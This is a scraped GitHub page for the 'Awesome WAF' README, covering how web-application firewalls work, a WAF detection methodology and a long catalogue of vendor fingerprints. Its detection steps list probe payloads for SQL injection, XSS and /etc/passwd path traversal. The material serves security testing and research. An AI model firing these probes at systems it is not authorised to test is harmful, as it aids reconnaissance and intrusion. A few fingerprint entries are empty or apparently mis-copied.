https://github.com/0xInfection/Awesome-WAF

🔥 Web-application firewalls (WAFs) from security standpoint.
https://github.com/0xInfection/Awesome-WAF

awesome awesome-list bypass-waf firewall infosec security waf waf-bypass waf-detection waf-fingerprints waf-test waf-testing web-application-firewall

Last synced: about 1 year ago
JSON representation

🔥 Web-application firewalls (WAFs) from security standpoint.

Host: GitHub
URL: https://github.com/0xInfection/Awesome-WAF
Owner: 0xInfection
License: apache-2.0
Created: 2019-01-08T04:57:06.000Z (over 7 years ago)
Default Branch: master
Last Pushed: 2024-10-28T06:44:26.000Z (over 1 year ago)
Last Synced: 2025-03-18T00:08:20.538Z (about 1 year ago)
Topics: awesome, awesome-list, bypass-waf, firewall, infosec, security, waf, waf-bypass, waf-detection, waf-fingerprints, waf-test, waf-testing, web-application-firewall
Language: Python
Homepage:
Size: 29.1 MB
Stars: 6,551
Watchers: 254
Forks: 1,083
Open Issues: 2
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Code of conduct: CODE_OF_CONDUCT.md

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README

# Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg "Awesome")](https://github.com/0xinfection/awesome-waf)
Everything about web application firewalls (WAFs) from a security perspective. 🔥
>
> __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."

![Main Logo](images/how-wafs-work.png 'How wafs work')

__A Concise Definition:__ A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))*

A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.

Feel free to [contribute](CONTRIBUTING.md).

### Contents:
- [Introduction](#introduction)
- [How WAFs Work](#how-wafs-work)
- [Operation Modes](#operation-modes)
- [Testing Methodology](#testing-methodology)
- [Where To Look](#where-to-look)
- [Detection Techniques](#detection-techniques)
- [WAF Fingerprints](#waf-fingerprints)
- [Evasion Techniques](#evasion-techniques)
- [Fuzzing/Bruteforcing](#fuzzingbruteforcing)
- [Regex Reversing](#regex-reversing)
- [Obfuscation/Encoding](#obfuscation)
- [Browser Bugs](#browser-bugs)
- [HTTP Header Spoofing](#request-header-spoofing)
- [Google Dorks Approach](#google-dorks-approach)
- [Known Bypasses](#known-bypasses)
- [Awesome Tooling](#awesome-tools)
- [Fingerprinting](#fingerprinting)
- [Testing](#testing)
- [Evasion](#evasion)
- [Blogs & Writeups](#blogs-and-writeups)
- [Video Presentations](#video-presentations)
- [Research Presentations & Papers](#presentations--research-papers)
- [Research Papers](#research-papers)
- [Presentation Slides](#presentations)
- [Licensing & Credits](#credits--license)

## Introduction:
### How WAFs Work:
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

### Operation Modes:
- __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all `*` inputs prevent basic cross-site scripting attacks.
- __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).

## Testing Methodology:
### Where To Look:
- Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
- Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
- Some expose themselves in the `Server` header (e.g. Approach, WTS WAF).
- Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).

### Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`.
5. Inject noisy payloads like `alert()` into search bars, contact forms and other input fields.
6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
9. Many a times, the WAF varies the `Server` header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
> __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).
11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
> __Tip:__ More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/).

## WAF Fingerprints
Wanna fingerprint WAFs? Lets see how.
> __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).

WAF
Fingerprints

360

Detectability: Easy

Detection Methodology:

Returns status code 493 upon unusual requests.

Blockpage may contain reference to wzws-waf-cgi/ directory.

Blocked response page source may contain:
- Reference to wangshan.360.cn URL.
- Sorry! Your access has been intercepted because your links may threaten website security. text snippet.

Response headers may contain X-Powered-By-360WZB header.

Blocked response headers contain unique header WZWS-Ray.

Server header may contain value qianxin-waf.

aeSecure

Detectability: Moderate

Detection Methodology:

Blocked response content contains aesecure_denied.png image (view source to see).

Response headers contain aeSecure-code value.

Airlock

Detectability: Moderate/Difficult

Detection Methodology:

Set-Cookie headers may contain:

AL-SESS cookie field name (case insensitive).

AL-LB value (case insensitive).

Blocked response page contains:

Server detected a syntax error in your request text.

Check your request and all parameters text snippet.

AlertLogic

Detectability: Difficult

Detection Methodology:

Blocked response page contains:

We are sorry, but the page you are looking for cannot be found text snippet.

The page has either been removed, renamed or temporarily unavailable text.

404 Not Found in red letters.

Aliyundun

Detectability: Easy

Detection Methodology:

Blocked response page contains:

Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.

Reference to errors.aliyun.com site URL.

Blocked response code returned is 405.

Anquanbao

Detectability: Easy

Detection Methodology:

Returns blocked HTTP response code 405 upon malicious requests.

Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.

Response headers contain X-Powered-by-Anquanbao header field.

Anyu

Detectability: Easy

Detection Methodology:

Blocked response content contains Sorry! your access has been intercepted by AnYu

Blocked response page contains AnYu- the green channel text.

Response headers may contain unusual header WZWS-RAY.

Approach

Detectability: Easy

Detection Methodology:

Blocked response page content may contain:

Approach Web Application Firewall Framework heading.

Your IP address has been logged and this information could be used by authorities to track you. warning.

Sorry for the inconvenience! keyword.

Approach infrastructure team text snippet.

Server header has field value set to Approach.

Armor Defense

Detectability: Easy

Detection Methodology:

Blocked response content contains:
- This request has been blocked by website protection from Armor text.
- If you manage this domain please create an Armor support ticket snippet.

ArvanCloud

Detectability: Easy

Detection Methodology:

Server header contains ArvanCloud keyword.

ASPA

Detectability: Easy

Detection Methodology:

Server header contains ASPA-WAF keyword.

Response contain unique header ASPA-Cache-Status with content HIT or MISS.

ASP.NET Generic

Detectability: Moderate

Detection Methodology:

Response headers may contain X-ASPNET-Version header value.

Blocked response page content may contain:

This generic 403 error means that the authenticated user is not authorized to use the requested resource.

Error Code 0x00000000< keyword.

X-Powered-By header has field value set to ASP.NET.

Astra

Detectability: Easy

Detection Methodology:

Blocked response page content may contain:

Sorry, this is not allowed. in h1.

our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.

Reference to www.getastra.com/assets/images/ URL.

Response cookies has field value cz_astra_csrf_cookie in response headers.

AWS ELB

Detectability: Moderate

Detection Methodology:

Response headers might contain:
- AWSALB cookie field value.
- X-AMZ-ID header.
- X-AMZ-REQUEST-ID header.

Response page may contain:
- Access Denied in their keyword.
- Request token ID with length from 20 to 25 between RequestId tag.

Server header field contains awselb/2.0 value.

Baidu Yunjiasu

Detectability: Moderate

Detection Methodology:

Server header may contain Yunjiasu-nginx value.

Server header may contain Yunjiasu value.

Barikode

Detectability: Easy

Detection Methodology:

Blocked response page content contains:
- BARIKODE keyword.
- Forbidden Access text snippet in h1.

Barracuda

Detectability: Moderate

Detection Methodology:

Response cookies may contain barra_counter_session value.

Response headers may contain barracuda_ keyword.

Response page contains:

You have been blocked heading.

You are unable to access this website text.

Bekchy

Detectability: Easy

Detection Methodology:

Blocked response headers contains Bekchy - Access Denied.

Blocked response page contains reference to https://bekchy.com/report.

BinarySec

Detectability: Moderate

Detection Methodology:

Response headers contain:

X-BinarySec-Via field.

X-BinarySec-NoCache field.

Server header contains BinarySec keyword.

BitNinja

Detectability: Easy

Detection Methodology:

Blocked response page may contain:

Security check by BitNinja text snippet.

your IP will be removed from BitNinja.

Visitor anti-robot validation text snippet.

(You will be challenged by a reCAPTCHA page) text.

BIG-IP ASM

Detectability: Moderate

Detection Methodology:

Response headers may contain BigIP or F5 keyword value.

Response header fields may contain X-WA-Info header.

Response headers might have jumbled X-Cnection field value.

BlockDos

Detectability: Moderate

Detection Methodology:

Server header contains value BlockDos.net.

Bluedon IST

Detectability: Easy

Detection Methodology:

Server header contains BDWAF field value.

Blocked response page contains to Bluedon Web Application Firewall text snippet..

BulletProof Security Pro

Detectability: Moderate

Detection Methodology:

Blocked response page contains:
- div with id as bpsMessage text snippet.
- If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.

CDN NS Application Gateway

Detectability: Easy

Detection Methodology:

Blocked response page contains CdnNsWAF Application Gateway text snippet.

Cerber (WordPress)

Detectability: Difficult

Detection Methodology:

Blocked response page contains:
- We're sorry, you are not allowed to proceed text snippet.
- Your request looks suspicious or similar to automated requests from spam posting software warning.

Chaitin Safeline

Detectability: Difficult

Detection Methodology:

Blocked response page contains event_id keyword within HTML comments.

ChinaCache

Detectability: Easy

Detection Methodology:

Response headers contain Powered-by-ChinaCache field.

Cisco ACE XML Gateway

Detectability: Moderate

Detection Methodology:

Server header has value ACE XML Gateway set.

Cloudbric

Detectability: Moderate

Detection Methodology:

Response content contains:

Malicious Code Detected heading.

Your request was blocked by Cloudbric text snippet.

Reference to https://cloudbric.zendesk.com URL.

Cloudbric Help Center text.

Page title starting with Cloudbric | ERROR!.

Cloudflare

Detectability: Easy

Detection Methodology:

Response headers might have cf-ray field value.

Server header field has value cloudflare.

Set-Cookie response headers have __cfuid= cookie field.

Page content might have Attention Required! or Cloudflare Ray ID:.

Page content may contain DDoS protection by Cloudflareas text.

You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.

CloudfloorDNS

Detectability: Easy

Detection Methodology:

Server header field has value CloudfloorDNS WAF.

Block-page title might have CloudfloorDNS - Web Application Firewall Error.

Page content may contain www.cloudfloordns.com/contact URL as a contact link.

Cloudfront

Detectability: Easy

Detection Methodology:

Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.

Comodo cWatch

Detectability: Easy

Detection Methodology:

Server header contains Protected by COMODO WAF value.

CrawlProtect

Detectability: Easy

Detection Methodology:

Response cookies might contain crawlprotect cookie name.

Block Page title has CrawlProtect keyword in it.

Blocked response content contains value
This site is protected by CrawlProtect !!! upon malicious request.

Deny-All

Detectability: Difficult

Detection Methodology:

Response content contains value Condition Intercepted.

Set-Cookie header contains cookie field sessioncookie.

Distil Web Protection

Detectability: Easy

Detection Methodology:

Response headers contain field value X-Distil-CS in all requests.

Blocked response page contains:

Pardon Our Interruption... heading.

You have disabled javascript in your browser. text snippet.

Something about your browser made us think that you are a bot. text.

DoSArrest Internet Security

Detectability: Easy

Detection Methodology:

Response headers contain field value X-DIS-Request-ID.

Server header contains DOSarrest keyword.

DotDefender

Detectability: Easy

Detection Methodology:

Blocked response content contains value
dotDefender Blocked Your Request.

Blocked response headers contain X-dotDefender-denied field value.

DynamicWeb Injection Check

Detectability: Easy

Detection Methodology:

Blocked response headers contain X-403-Status-By field with value dw-inj-check value.

e3Learning Security

Detectability: Easy

Detection Methodology:

Server header contains e3Learning_WAF keyword.

EdgeCast (Verizon)

Detectability: Easy

Detection Methodology:

Blocked response content contains value
Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).

Blocked response code returns 400 Bad Request on malicious requests.

Eisoo Cloud

Detectability: Easy

Detection Methodology:

Blocked response page content may contain:

/eisoo-firewall-block.css reference.

www.eisoo.com URL.

© (year) Eisoo Inc. keyword.

Server header has field value set to EisooWAF-AZURE/EisooWAF.

Expression Engine

Detectability: Difficult

Detection Methodology:

Blocked response page returns Invalid URI generally.

Blocked response content contains value Invalid GET Request upon malicious GET queries.

Blocked POST type queries contain Invalid Data in response content.

F5 ASM

Detectability: Difficult

Detection Methodology:

Blocked response content contains warning

The requested URL was rejected. Please consult with your administrator.

FortiWeb

Detectability: Moderate

Detection Methodology:

Response headers contain FORTIWAFSID= on malicious requests.

Blocked response page contains:

Reference to .fgd_icon image icon.

Server Unavailable! as heading.

Server unavailable. Please visit later. as text.

GoDaddy

Detectability: Easy

Detection Methodology:

Blocked response page contains value
Access Denied - GoDaddy Website Firewall.

GreyWizard

Detectability: Easy

Detection Methodology:

Blocked response page contains:
- Grey Wizard as title.
- Contact the website owner or Grey Wizard text snippet.
- We've detected attempted attack or non standard traffic from your IP address text snippet.

Server header contain greywizard keyword.

Huawei Cloud

Detectability: Easy

Detection Methodology:

Blocked response page contains:

Reference to account.hwclouds.com/static/error/images/404img.jpg error image.

Reference to www.hwclouds.com URL.

Reference to hws_security@{site.tld} e-mail for reporting.

HyperGuard

Detectability: Difficult

Detection Methodology:

Set-Cookie header has cookie field ODSESSION= in response headers.

IBM DataPower

Detectability: Difficult

Detection Methodology:

Response headers contains field value value X-Backside-Transport with value OK or FAIL.

Imperva Incapsula

Detectability: Easy

Detection Methodology:

Blocked response page content may contain:

Powered By Incapsula text snippet.

Incapsula incident ID keyword.

_Incapsula_Resource keyword.

subject=WAF Block Page keyword.

Normal GET request headers contain visid_incap value.

Response headers may contain X-Iinfo header field name.

Set-Cookie header has cookie field incap_ses and visid_incap.

Imunify360

Detectability: Easy

Detection Methodology:

Server header contain imunify360-webshield keyword.

Response page contains:

Powered by Imunify360 text snippet.

imunify360 preloader if response type is JSON.

Blocked response page contains protected by Imunify360 text.

IndusGuard

Detectability: Moderate

Detection Methodology:

Server header contains value IF_WAF.

Blocked response content contains warning
further investigation and remediation with a screenshot of this page.

Response headers contain a unique header X-Version.

Instart DX

Detectability: Easy

Detection Methodology:

Response headers contain X-Instart-Request-ID unique header.

Response headers contain X-Instart-WL unique header fingerprint.

Response headers contain X-Instart-Cache unique header fingerprint.

Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.

ISA Server

Detectability: Difficult

Detection Methodology:

Response page contains:

The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.

The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet

Janusec Application Gateway

Detectability: Easy

Detection Methodology:

Blocked response page has image displaying JANUSEC name and logo.

Blocked response page displays Janusec Application Gateway on malicious requests.

Jiasule

Detectability: Easy

Detection Methodology:

Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.

Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.

Server header has jiasule-WAF keywords.

Blocked response content has notice-jiasule keyword.

KeyCDN

Detectability: Easy

Detection Methodology:

Server header contains KeyCDN keyword.

KnownSec

Detectability: Easy

Detection Methodology:

Blocked response page displays ks-waf-error.png image (view source to see).

KONA Site Defender (Akamai)

Detectability: Easy

Detection Methodology:

Server header contains AkamaiGHost keyword.

LiteSpeed

Detectability: Easy

Detection Methodology:

Server header has value set to LiteSpeed.

Response page contains:

Proudly powered by LiteSpeed Web Server text.

Reference to http://www.litespeedtech.com/error-page

Access to resource on this server is denied.

Malcare

Detectability: Moderate

Detection Methodology:

Blocked response page may contains:
- Blocked because of Malicious Activities text snippet.
- Firewall powered by MalCare text snippet.

MissionControl Application Shield

Detectability: Easy

Detection Methodology:

Server header field contains Mission Control Application Shield value.

ModSecurity

Detectability: Moderate/Difficult

Detection Methodology:

Blocked response page contains:

This error was generated by Mod_Security text snippet.

One or more things in your request were suspicious text snippet.

rules of the mod_security module text snippet.

mod_security rules triggered text snippet.

Reference to /modsecurity-errorpage/ directory.

Server header may contain Mod_Security or NYOB keywords.

Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.

ModSecurity CRS

Detectability: Difficult

Detection Methodology:

Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.

NAXSI

Detectability: Easy

Detection Methodology:

Blocked response page contains This Request Has Been Blocked By NAXSI.

Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.

Server header contains naxsi/waf keyword value.

Blocked response page may contain NAXSI blocked information error code.

Nemesida

Detectability: Difficult

Detection Methodology:

Blocked response page contains Suspicious activity detected. Access to the site is blocked..

Contains reference to email nwaf@{site.tld}

Netcontinuum

Detectability: Moderate

Detection Methodology:

Session cookies contain NCI__SessionId= cookie field name.

NetScaler AppFirewall

Detectability: Moderate

Detection Methodology:

Response headers may contain

Connection: header field name jumbled to nnCoection:

ns_af= cookie field name.

citrix_ns_id field name.

NSC_ keyword.

NS-CACHE field value.

NevisProxy

Detectability: Moderate

Detection Methodology:

Response header cookies contain Navajo keyword.

NewDefend

Detectability: Easy

Detection Methodology:

Response page contains:

Reference to http://www.newdefend.com/feedback/misinformation/ URL.

Reference to /nd_block/ directory.

Server header contains NewDefend keyword.

Nexusguard

Detectability: Easy

Detection Methodology:

Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.

NinjaFirewall

Detectability: Moderate

Detection Methodology:

Response page title contains NinjaFirewall: 403 Forbidden.

Response page contains:
- For security reasons, it was blocked and logged text snippet.
- NinjaFirewall keyword in title.

Returns a 403 Forbidden response upon malicious requests.

NSFocus

Detectability: Easy

Detection Methodology:

Server header contain NSFocus keyword.

NullDDoS

Detectability: Easy

Detection Methodology:

Server header contains the NullDDoS System keyword.

onMessage Shield

Detectability: Easy

Detection Methodology:

Response headers contain header X-Engine field with value onMessage Shield.

Blocked response page contains:

Blackbaud K-12 conducts routine maintenance keyword.

This site is protected by an enhanced security system.

Reference to https://status.blackbaud.com URL.

Reference to https://maintenance.blackbaud.com URL.

OpenResty Lua WAF

Detectability: Easy

Detection Methodology:

Server header contains openresty/{version} keyword.

Blocked response page contains openresty/{version} text.

Blocked response code returned is 406 Not Acceptable.

Palo Alto

Detectability: Moderate

Detection Methodology:

Blocked response page contains Virus/Spyware Download Blocked.

Response page might contain Palo Alto Next Generation Security Platform text snippet.

PentaWAF

Detectability: Easy

Detection Methodology:

Server header contains PentaWAF/{version} keyword.

Blocked response page contains text PentaWAF/{version}.

PerimeterX

Detectability: Easy

Detection Methodology:

Blocked response page contains reference to
https://www.perimeterx.com/whywasiblocked URL.

pkSecurityModule IDS

Detectability: Moderate

Detection Methodology:

Response content may contain

pkSecurityModule: Security.Alert.

A safety critical request was discovered and blocked text snippet.

Positive Technologies Application Firewall

Detectability: Difficult

Detection Methodology:

Blocked response page contains Forbidden in h1 followed by:

Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}

PowerCDN

Detectability: Moderate

Detection Methodology:

Response headers may contain

Via header with content powercdn.com.

X-Cache header with content powercdn.com.

X-CDN header with content PowerCDN.

Profense

Detectability: Easy

Detection Methodology:

Set-Cookie headers contain PLBSID= cookie field name.

Server header contain Profense keyword.

Proventia (IBM)

Detectability: Difficult

Detection Methodology:

Blocked response page might contain to request does not match Proventia rules text snippet.

Puhui

Detectability: Easy

Detection Methodology:

Server header contain PuhuiWAF keyword.

Qiniu CDN

Detectability: Easy

Detection Methodology:

Response content may contain

Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.

Radware Appwall

Detectability: Moderate

Detection Methodology:

Response page contains the following text snippet:
Unauthorized Activity Has Been Detected. and Case Number

Blocked response page has reference to radwarealerting@{site.tld} email.

Blocked response page has title set to Unauthorized Request Blocked.

Response headers may contain X-SL-CompState header field name.

Reblaze

Detectability: Moderate

Detection Methodology:

Cookies in response headers contain rbzid= header field name.

Server field value might contain Reblaze Secure Web Gateway text snippet.

Response page contains:

Access Denied (403) in bold.

Current session has been terminated text.

For further information, do not hesitate to contact us.

Request Validation Mode

Detectability: Easy

Detection Methodology:

A firewall found specifically on ASP.NET websites and none others.

Response page contains either of the following text snippet:

ASP.NET has detected data in the request that is potentially dangerous.

Request Validation has detected a potentially dangerous client input value.

HttpRequestValidationException.

Blocked response code returned is always 500 Internal Error.

RSFirewall

Detectability: Easy

Detection Methodology:

Response page contains:

COM_RSFIREWALL_403_FORBIDDEN keyword.

COM_RSFIREWALL_EVENT keyword.

Sabre

Detectability: Easy

Detection Methodology:

Returns status code 500 Internal Error upon malicious requests.

Response content has:
- Contact email dxsupport@sabre.com.
- Your request has been blocked bold warning.
- clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.

Safe3

Detectability: Easy

Detection Methodology:

Response headers contain:

X-Powered-By header has field value Safe3WAF.

Server header contains field value set to Safe3 Web Firewall.

Response page contains Safe3waf keyword.

SafeDog

Detectability: Easy/Moderate

Detection Methodology:

Server header in response may contain:

WAF/2.0 keyword.

safedog field value.

SecKing

Detectability: Easy/Moderate

Detection Methodology:

Server header in response may contain:

SECKINGWAF keyword.

SECKING/{version} field value.

SecuPress

Detectability: Easy

Detection Methodology:

Response content may contain:

SecuPress as text.

Block ID: Bad URL Contents as text.

Response code returned is 503 Service Unavailable.

Secure Entry

Detectability: Easy

Detection Methodology:

Server header contains value set to Secure Entry Server.

SecureIIS

Detectability: Easy

Detection Methodology:

Response page contains either of the following text snippet:

Image displaying beyondtrust logo.

Download SecureIIS Personal Edition

Reference to http://www.eeye.com/SecureIIS/ URL.

SecureIIS Error text snippet.

SecureSphere

Detectability: Difficult

Detection Methodology:

Response page contains the following text snippet:

Error in h2 text.

Title contains only text as Error.

Contact support for additional information. text.

SEnginx

Detectability: Easy

Detection Methodology:

Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.

ServerDefender VP

Detectability: Easy

Detection Methodology:

Blocked response contains X-Pint header field with p80 keyword.

Shadow Daemon

Detectability: Difficult

Detection Methodology:

Blocked response page contains request forbidden by administrative rules. keyword.

ShieldSecurity

Detectability: Difficult

Detection Methodology:

Blocked response page contains:
- You were blocked by the Shield. text.
- Something in the URL, Form or Cookie data wasn't appropriate text snippet.
- Warning: You have {number} remaining transgression(s) against this site.
- Seriously stop repeating what you are doing or you will be locked out.

SiteGround

Detectability: Difficult

Detection Methodology:

Blocked response page contains
The page you are trying to access is restricted due to a security rule text snippet.

SiteGuard (JP Secure)

Detectability: Difficult

Detection Methodology:

Response page contains:
- Powered by SiteGuard text snippet.
- The server refuse to browse the page. text snippet.
- The URL may not be correct. Please confirm the value.

SiteLock TrueShield

Detectability: Easy

Detection Methodology:

Blocked response page source contains the following:

Reference to www.sitelock.com URL.

Sitelock is leader in Business Website Security Services. text.

sitelock-site-verification keyword.

sitelock_shield_logo image.

SonicWall

Detectability: Easy

Detection Methodology:

Server header contain SonicWALL keyword value.

Blocked response page contains either of the following text snippet:

Image displaying Dell logo.

This request is blocked by the SonicWALL.

Web Site Blocked text snippet.

nsa_banner as keyword. :p

Sophos UTM

Detectability: Easy

Detection Methodology:

Blocked response page contains Powered by UTM Web Protection keyword.

SquareSpace

Detectability: Difficult

Detection Methodology:

Response code returned is 404 Not Found upon malicious requests.

Blocked response page contains either of the following text snippet:

BRICK-50 keyword.

404 Not Found text snippet.

SquidProxy IDS

Detectability: Easy

Detection Methodology:

Server header contains field value squid/{version}.

Blocked response page contains
Access control configuration prevents your request from being allowed at this time..

StackPath

Detectability: Easy

Detection Methodology:

Contains image displaying StackPath logo.

Blocked response page contains
You performed an action that triggered the service and blocked your request.

Stingray

Detectability: Difficult

Detection Methodology:

Blocked response code returns 403 Forbidden or 500 Internal Error.

Response headers contain the X-Mapping header field name.

Sucuri CloudProxy

Detectability: Easy

Detection Methodology:

Response headers may contain Sucuri or Cloudproxy keywords.

Blocked response page contains the following text snippet:

Access Denied - Sucuri Website Firewall text.

Reference to https://sucuri.net/privacy-policy URL.

Sometimes the email cloudproxy@sucuri.net.

Contains copyright notice ;copy {year} Sucuri Inc.

Response headers contains X-Sucuri-ID header along with normal requests.

Synology Cloud

Detectability: Easy

Detection Methodology:

Tencent Cloud

Detectability: Moderate

Detection Methodology:

Blocked response code returns 405 Method Not Allowed error.

Blocked response page contains reference to waf.tencent-cloud.com URL.

Teros

Detectability: Difficult

Detection Methodology:

Response headers contain cookie field st8id.

TrafficShield

Detectability: Moderate

Detection Methodology:

Server might contain F5-TrafficShield keyword.

ASINFO= value might be detected in response cookies.

TransIP

Detectability: Easy

Detection Methodology:

Response headers contain unique header X-TransIP-Backend.

Response headers contain another header X-TransIP-Balancer.

UCloud UEWaf

Detectability: Easy

Detection Methodology:

Response content might contain:
- Reference to /uewaf_deny_pages/default/img/ inurl directory.
- ucloud.cn URL.

Response headers returned has Server header set to uewaf/{version}.

URLMaster SecurityCheck

Detectability: Moderate

Detection Methodology:

Response headers might contain:
- UrlMaster keyword.
- UrlRewriteModule keyword.
- SecurityCheck keyword.

Blocked response code returned is 400 Bad Request text snippet.

URLScan

Detectability: Moderate

Detection Methodology:

Blocked response page contains:

Rejected-by-URLScan text snippet.

Server Erro in Application as heading.

Module: IIS Web Core in table.

USP Secure Entry

Detectability: Moderate

Detection Methodology:

Response headers contain Secure Entry Server field value.

Varnish (OWASP)

Detectability: Easy

Detection Methodology:

Malicious request returns 404 Not Found Error.

Response page contains:

Request rejected by xVarnish-WAF text snippet.

Varnish CacheWall

Detectability: Easy

Detection Methodology:

Response page contains:

Error 403 Naughty, not Nice! as heading.

Varnish cache Server as text.

Viettel

Detectability: Easy

Detection Methodology:

Response page contains:

Block page has title set to Access denied · Viettel WAF.

Reference to https://cloudrity.com.vn/ URL.

Response page contains keywords Viettel WAF system.

Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.

VirusDie

Detectability: Easy

Detection Methodology:

Response page contains:

http://cdn.virusdie.ru/splash/firewallstop.png picture.

copy; Virusdie.ru copyright notice.

Response page title contains Virusdie keyword.

Page metadata contains name="FW_BLOCK" keyword

WallArm

Detectability: Moderate

Detection Methodology:

Server headers contain nginx-wallarm value.

WatchGuard IPS

Detectability: Easy

Detection Methodology:

Server headers may contain WatchGuard field value.

Blocked response page contains:

Request denied by WatchGuard Firewall text.

WatchGuard Technologies Inc. as footer.

WebARX Security

Detectability: Easy

Detection Methodology:

Restricted to specifically WordPress sites only.

Blocked response page contains:

This request has been blocked by WebARX Web Application Firewall text.

Reference to /wp-content/plugins/webarx/ directory where it is installed.

WebKnight

Detectability: Easy

Detection Methodology:

Response headers contain WebKnight keyword.

Blocked response page contains:

WebKnight Application Firewall Alert text warning.

AQTRONIX WebKnight text snippet.

Blocked response code returned is 999 No Hacking. :p

Blocked response code returned is also 404 Hack Not Found. :p

WebLand

Detectability: Easy

Detection Methodology:

Server header contains Apache Protected By WebLand WAF keyword.

WebRay

Detectability: Easy

Detection Methodology:

Server header contains WebRay-WAF keyword.

Response headers may have DrivedBy field with value RaySrv RayEng/{version}.

WebSEAL

Detectability: Easy

Detection Methodology:

Server header contain WebSEAL keyword.

Blocked response page contains:

This is a WebSEAL error message template file text.

WebSEAL server received an invalid HTTP request text snippet.

WebTotem

Detectability: Easy

Detection Methodology:

Blocked response page contains The current request was blocked by WebTotem.

West263CDN

Detectability: Easy

Detection Methodology:

Response headers contain X-Cache header field with WT263CDN value.

Wordfence

Detectability: Easy

Detection Methodology:

Response headers contain WebKnight keyword.

Blocked response page contains:

Generated by Wordfence text snippet.

A potentially unsafe operation has been detected in your request to this site text warning.

Your access to this site has been limited text warning.

This response was generated by Wordfence text snippet.

WTS-WAF

Detectability: Easy

Detection Methodology:

Blocked response page title has WTS-WAF keyword.

Server header contains wts as value.

XLabs Security WAF

Detectability: Easy

Detection Methodology:

Response headers contain X-CDN header field with XLabs Security value.

Xuanwudun WAF

Detectability: Easy

Detection Methodology:

Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.

Yunaq Chuangyu

Detectability: Moderate

Detection Methodology:

Response page has reference to:
- 365cyd.com or 365cyd.net URL.
- Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.

Yundun

Detectability: Easy

Detection Methodology:

Server header contains YUNDUN as value.

X-Cache header field contains YUNDUN as value.

Response page contains Blocked by YUNDUN Cloud WAF text snippet.

Blocked response page contains reference to yundun.com/yd_http_error/ URL.

Yunsuo

Detectability: Easy

Detection Methodology:

Blocked response page contains image class reference to yunsuologo.

Response headers contain the yunsuo_session field name.

YxLink

Detectability: Easy

Detection Methodology:

